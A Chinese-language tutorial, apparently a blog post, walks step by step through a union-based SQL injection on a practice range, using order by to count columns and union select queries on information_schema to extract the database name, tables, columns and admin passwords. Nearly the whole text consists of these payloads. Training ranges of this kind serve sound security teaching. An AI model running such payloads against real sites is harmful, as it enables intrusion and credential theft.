赞
踩
提示:本章提到的靶场需要登录注册
靶场奉上:封神台靶场
这里我们需要用到上篇的一些知识
SQL注入基础教程
提示:打开靶场的传送门,会看到以下界面
?id=1 and 1=1
可以看到,此步正常回显
接着输入:
?id=1 and 1=2
开始出问题了
由此可以判断出是数字型注入
?id=1 order by 2
正常回显
?id=1 order by 3
出现异常
说明有2列
这里需要输入一个不存在的id
?id=1000 union select 1,2
回显不太明显,我第一眼看的时候都没找到
这里给大家标出来了,可以看出只显示了第二列
?id=1000 union select 1,database()
数据库名为maoshe
?id=1000 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'
这里大概可以猜测出在admin表中
?id=1000 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin'
所以三列分别是id, username, password
?id=1000 union select 1,group_concat(password) from admin
这里爆出了2个密码,根据题意,我们应该获取admin的密码
?id=1000 union select 1,group_concat(username) from admin
所以是第一个密码–hellohack
拿到靶场上提交
Good Job!
注入成功!!!
为了方便大家练习,小编准备下期奉上各大靶场的链接
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。